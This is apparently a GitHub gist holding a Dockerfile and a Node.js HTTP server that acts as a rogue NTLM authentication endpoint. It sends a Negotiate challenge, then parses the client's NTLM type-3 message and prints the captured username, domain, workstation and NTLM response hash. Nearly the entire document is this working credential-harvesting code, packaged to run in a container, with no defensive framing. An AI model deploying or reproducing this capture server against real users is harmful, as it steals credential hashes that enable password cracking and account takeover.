Skip to content

Instantly share code, notes, and snippets.

@dzmitry-savitski
Created June 5, 2025 17:10
Show Gist options
  • Select an option

  • Save dzmitry-savitski/65f9c077bb1909834556937c61dde41b to your computer and use it in GitHub Desktop.

Select an option

Save dzmitry-savitski/65f9c077bb1909834556937c61dde41b to your computer and use it in GitHub Desktop.

Revisions

  1. dzmitry-savitski created this gist Jun 5, 2025.
    8 changes: 8 additions & 0 deletions Dockerfile
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,8 @@
    FROM node:18-slim

    WORKDIR /app
    COPY server.js .

    EXPOSE 8080

    CMD ["node", "server.js"]
    58 changes: 58 additions & 0 deletions server.js
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,58 @@
    const http = require('http');

    function parseNTLMv3Response(base64Msg) {
    const buffer = Buffer.from(base64Msg, 'base64');
    const signature = buffer.toString('ascii', 0, 8);
    const messageType = buffer.readUInt8(8);

    if (signature !== 'NTLMSSP\0' || messageType !== 3) {
    return null;
    }

    function readField(offset) {
    const len = buffer.readUInt16LE(offset);
    const pos = buffer.readUInt32LE(offset + 4);
    return buffer.slice(pos, pos + len);
    }

    const domain = readField(28).toString('utf16le');
    const username = readField(36).toString('utf16le');
    const workstation = readField(44).toString('utf16le');
    const hash = readField(20).toString('hex');

    return { username, domain, workstation, ntlmHashHex: hash, raw: base64Msg };
    }

    http.createServer((req, res) => {
    const auth = req.headers['authorization'];

    if (!auth) {
    res.writeHead(401, { 'WWW-Authenticate': 'Negotiate', 'Connection': 'keep-alive' });
    res.end();
    return;
    }

    const payload = auth.split(' ')[1];
    const type = Buffer.from(payload, 'base64')[8];

    if (type === 1) {
    // NTLM v2 challenge example
    const base64Challenge = "TlRMTVNTUAACAAAACAAIADgAAAAFAomin9pUiWsMbk8AAAAAAAAAAJoAmgBAAAAACgB8TwAAAA9JAEUASAAwAAIACABJAEUASAAwAAEAHgBXAEkATgAtADkAQQBLADAANABMAFoAOABBAFYAVwAEABQASQBFAEgAMAAuAEwATwBDAEEATAADADQAVwBJAE4ALQA5AEEASwAwADQATABaADgAQQBWAFcALgBJAEUASAAwAC4ATABPAEMAQQBMAAUAFABJAEUASAAwAC4ATABPAEMAQQBMAAAAAAA=";
    res.writeHead(401, {
    'WWW-Authenticate': `Negotiate ${base64Challenge}`,
    'Connection': 'keep-alive',
    });
    res.end();
    return;
    }

    if (type === 3) {
    const info = parseNTLMv3Response(payload);
    res.writeHead(200, { 'Content-Type': 'text/plain' });
    res.end(`Info captured:\nUsername: ${info.username}\nDomain: ${info.domain}\nWorkstation: ${info.workstation}\nNTLM response: ${info.ntlmHashHex}\n`);
    return;
    }

    res.writeHead(400);
    res.end('Unsupported NTLM message type.');
    }).listen(8080);